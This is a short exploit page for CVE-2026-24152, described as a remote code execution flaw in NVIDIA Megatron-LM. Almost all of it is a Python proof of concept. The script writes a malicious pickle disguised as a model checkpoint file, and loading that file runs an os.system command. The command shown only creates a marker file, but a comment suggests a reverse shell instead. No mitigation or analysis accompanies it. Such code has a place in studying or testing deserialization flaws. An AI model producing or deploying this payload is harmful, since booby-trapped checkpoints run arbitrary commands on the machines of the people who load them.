CVE-2026-24152 NVIDIA Megatron-LM远程代码执行漏洞

import pickle import os # Malicious payload class to achieve RCE class MaliciousCheckpoint: def __reduce__(self): # Command to execute (e.g., create a file or reverse shell) return (os.system, ('touch /tmp/pwned_by_cve_2026_24152',)) # Create the malicious checkpoint file def create_malicious_file(filename): with open(filename, 'wb') as f: pickle.dump(MaliciousCheckpoint(), f) print(f"[+] Malicious checkpoint file '{filename}' created.") # Simulate the victim loading the checkpoint (Vulnerable Code) def load_checkpoint(filename): try: with open(filename, 'rb') as f: # This triggers the vulnerability via unsafe deserialization data = pickle.load(f) print(f"[-] Checkpoint '{filename}' loaded successfully.") except Exception as e: print(f"[!] Error loading checkpoint: {e}") if __name__ == "__main__": file_path = "model_checkpoint.pt" create_malicious_file(file_path) # In a real scenario, the victim would run the line below: load_checkpoint(file_path)